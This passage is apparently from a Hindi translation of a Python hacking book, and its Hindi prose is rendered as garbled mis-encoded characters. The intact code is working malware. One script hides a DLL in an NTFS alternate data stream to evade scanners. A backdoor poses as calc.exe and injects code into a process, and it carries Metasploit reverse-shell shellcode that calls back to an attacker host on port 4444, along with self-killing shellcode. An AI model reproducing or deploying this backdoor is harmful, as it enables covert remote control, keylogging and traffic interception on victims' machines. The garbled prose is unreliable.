рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпреЛрдЬрдХ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рджреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ (рдПрдХ рдбреАрдПрд▓рдПрд▓ рд╕рд╣рд┐рдд) рдХреЛ рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЪреВрдВрдХрд┐ рдпрд╣ рдкреБрд╕реНрддрдХ рдкрд╛рдпрдерди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╣реИрдХрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдереЛрдбрд╝рд╛ рд░рдЪрдирд╛рддреНрдордХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо NTFS рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдореМрдЬреВрджрд╛ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо (ADS) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдкрд╣рд▓реА рдмрд╛рд░ Windows NT 3.1 рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреАрдВ рдФрд░ рдЗрд╕реЗ Apple рдХреЗ рдкрджрд╛рдиреБрдХреНрд░рдорд┐рдд рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо (HFS) рдХреЗ рд╕рд╛рде рд╕рд╣рднрд╛рдЧрд┐рддрд╛ рдХреЗ рд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред ADS рд╣рдореЗрдВ рдбрд┐рд╕реНрдХ рдкрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд░рдЦрдиреЗ рдФрд░ рдореБрдЦреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЬреБрдбрд╝реА рд╕реНрдЯреНрд░реАрдо рдореЗрдВ DLL рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдПрдХ рд╕реНрдЯреНрд░реАрдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЬреНрдпрд╛рджрд╛ рдХреБрдЫ рдирд╣реАрдВ рд╣реИ рдЬреЛ рдПрдХ рдлрд╛рдЗрд▓ рд╕реЗ рдЬреБрдбрд╝реА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдбрд┐рд╕реНрдХ рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рддреНрдпрдХреНрд╖ рдЯрдХрдЯрдХреА рд╕реЗ DLL рдЫрд┐рдкрд╛рддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмрд┐рдирд╛, рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдбреАрдПрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЬреЛ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрдИ рд╕реБрд░рдХреНрд╖рд╛ рдЙрддреНрдкрд╛рдж рд╡реИрдХрд▓реНрдкрд┐рдХ рдзрд╛рдЧреЗ рдХреЛ рдареАрдХ рд╕реЗ рд╕реНрдХреИрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЙрдирдХреЗ рдЖрд╕рдкрд╛рд╕ рдЬрд╛рдиреЗ рдФрд░ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рдореМрдХрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдЯреНрд░реАрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдореМрдЬреВрджрд╛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдХреЛрд▓рди рдФрд░ рдЫрд┐рдкреА рд╣реБрдИ рд╡рд╕реНрддреБ рдХрд╛ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдЬреЛрдбрд╝рдирд╛ рд╣реЛрдЧрд╛, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

 reverser.exe:vncdll.dll 

рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╣рдореЗрдВ vncdll.dll рдорд┐рд▓рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ reverser.exe рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИред рдЖрдЗрдП рдПрдХ рдЫреЛрдЯреА рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреЗрдВ рдЬреЛ рдПрдХ рдлрд╛рдЗрд▓ рд╕реЗ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдЯреНрд░реАрдо рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдврд╝ рдФрд░ рд▓рд┐рдЦ рджреЗрдЧрд╛ред рдПрдХ рдирдпрд╛ рдкрд╛рдпрдерди рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ file_hider.py рдирд╛рдо рджреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВред

file_hider.py
 import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close() 

рдХреБрдЫ рдЦрд╛рд╕ рдирд╣реАрдВ - рдкрд╣рд▓рд╛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рддрд░реНрдХ рд╡рд╣ DLL рд╣реИ рдЬрд┐рд╕реЗ рд╣рдореЗрдВ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ рддрд░реНрдХ рд╡рд╣ рдлрд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ DLL рдХреЛ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рдо рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо ADS рд╕реЗ рд╕реАрдзреЗ DLL рднреА рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╣рдо рдЕрдкрдиреЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдореЗрдВ рдбреАрдПрд▓рдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ, рдлрд┐рд░ рднреА рдЗрд╕рдХрд╛ рд╕рдорд░реНрдерди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдкрдврд╝реЗрдВред

7.2.2 рдмреИрдХрдбреЛрд░ рдХреЛрдб

рдЪрд▓реЛ рд╣рдорд╛рд░реЗ "рдирд┐рд╖реНрдкрд╛рджрди рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЛрдб" рдмрдирд╛рдХрд░ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдмрд╕ рд╣рдорд╛рд░реЗ рдЪреБрдиреЗ рд╣реБрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИред рдХреЛрдб рдХреЗ рдирд╛рдо рдХрд╛ рдХрд╛рд░рдг "рдирд┐рд╖реНрдкрд╛рджрди рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди" рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЕрдкрдиреЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдореВрд▓ calc.exe рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдерд╛рди рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдмрджрд▓реЗ рдореЗрдВ рдЕрд╕рд▓реА рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд▓реЙрдиреНрдЪ рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕ рддрд░рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдВрджреЗрд╣ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдо рдЕрдзреНрдпрд╛рдп 3 рд╕реЗ рдлрд╝рд╛рдЗрд▓ my_debugger_defines.py рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рд╕реНрдерд┐рд░рд╛рдВрдХ рдФрд░ рд╕рдВрд░рдЪрдирд╛рдПрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдПрдХ рдирдИ рдкрд╛рдпрдерди рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ backdoor.py рдирд╛рдо рджреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВ:

backdoor.py
 # This library is from Chapter 3 and contains all # the necessary defines for process creation #     3.    #      import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId 

рдХреЛрдб рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдореЗрдВ рдЖрдкрдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирдпрд╛ рдирд╣реАрдВ рд╣реИред рдХреЛрдб рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЗрд╕ рдмрд╛рдд рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рд╣рдо рдЗрд╕реЗ рдмрд╣реБрдд рд╣реА рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛрдб рдХреЛ рдХреИрд╕реЗ рдЫрд┐рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рд╕реАрдзреЗ рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдореЗрдВ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ; рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд░реНрдорд╛рдг рдЕрдиреБрднрд╛рдЧ рдХреЗ рдареАрдХ рдмрд╛рдж рдХреЛрдб рд╕рдВрд▓рдЧреНрди рдХрд░реЗрдВред рд╣рдорд╛рд░рд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдлрд╝рдВрдХреНрд╢рди рдПрдореНрдмреЗрдбреЗрдб рдХреЛрдб рдФрд░ рдПрдореНрдмреЗрдбреЗрдб DLL рджреЛрдиреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛; рдмрд╕ "рдкреИрд░рд╛рдореАрдЯрд░" рдХреЛ "1" рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ, рдФрд░ "рдбреЗрдЯрд╛" рдЪрд░ рдореЗрдВ DLL рдХреЗ рд▓рд┐рдП рдкрде рдбрд╛рд▓реЗрдВред рдпрд╣рд╛рдВ рд╣рдо рд╕реНрд╡рдЪреНрдЫрддрд╛ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЬрд▓реНрджреА рдФрд░ рдЧрдВрджреЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдЖрдЗрдП рд╣рдорд╛рд░реА рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдПрдореНрдмреЗрдб рдлрд╝рдВрдХреНрд╢рди рдЬреЛрдбрд╝реЗрдВред

backdoor.py
 ... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True 

рдЕрдм рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдПрдХ рдЗрдВрдЬреЗрдХреНрд╢рди рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ "рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди" рдФрд░ "рдбреАрдПрд▓рдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди" рджреЛрдиреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдЕрдм рд╢реЗрд▓рдХреЛрдб рдбрд╛рд▓рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рджреЛ рднрд╛рдЧ рд╣реИрдВред рдПрдХ рднрд╛рдЧ рдПрдХ "рд╢реЗрд▓" (рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЗрд▓) рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдЪрд▓реЛ рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдореЗрдВ рдХреЛрдб рдЬреЛрдбрд╝рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдВред

backdoor.py
 ... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode ) 

рдЕрдЪреНрдЫрд╛ рд╣реИ!рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (PID) рдХреЛ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдкрд░ рднреЗрдЬрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢реЗрд▓ рдХреЛрдб рдПрдореНрдмреЗрдб рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рджреЗрдЦрд╛ (calc.exe)ред рдлрд┐рд░ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рдорд╛рд░ рдбрд╛рд▓реЛред рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдмреИрдХрдбреЛрд░ рд╣реИ рдЬреЛ рдХреБрдЫ рддрд░рдХреАрдмреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рд╣рд░ рдмрд╛рд░ рдХрд┐рд╕реА рдиреЗ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд╢реБрд░реВ рдХрд┐рдпрд╛ред рдпрджрд┐ рдЖрдк рдПрдХ рд╕рдордЭреМрддрд╛ рдкреНрд░рдгрд╛рд▓реА рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдкрд╛рд╕рд╡рд░реНрдб-рд░рдХреНрд╖рд┐рдд рдпрд╛ рдЖрдк рдХреЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХреА рдЕрдиреБрдкреНрд░рдпреЛрдЧ рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рд▓реЙрдиреНрдЪ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдЦреБрдж рдХреЛ рдХреАрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬрдм рднреА рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рд╕реНрдкреВрдлрд╝ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдПрдХ рд╢реЗрд▓ (рд╢реЗрд▓) рдорд┐рд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рдЖрдк рдХреАрд╕реНрдЯреНрд░реЛрдХреНрд╕, рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдиреЗрдЯрд╡рд░реНрдХ рдкреИрдХреЗрдЯ, рдЖрджрд┐ рдХреА рдирд┐рдЧрд░рд╛рдиреА рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдореЗрдВ рдПрдХ рдЫреЛрдЯреА рд╕реА рдмрд╛рдд рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рд╣рдо рдХреИрд╕реЗ рдЧрд╛рд░рдВрдЯреА рджреЗ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдЬрд┐рд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рд╣рдо рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рд╡рд╣ рдкрд╛рдпрдерди рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдорд╛рд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ? рдкрд░ рдкрдврд╝реЗрдВ рдФрд░ рдЖрдк рдЗрд╕ рддрд░рд╣ рдХреЗ 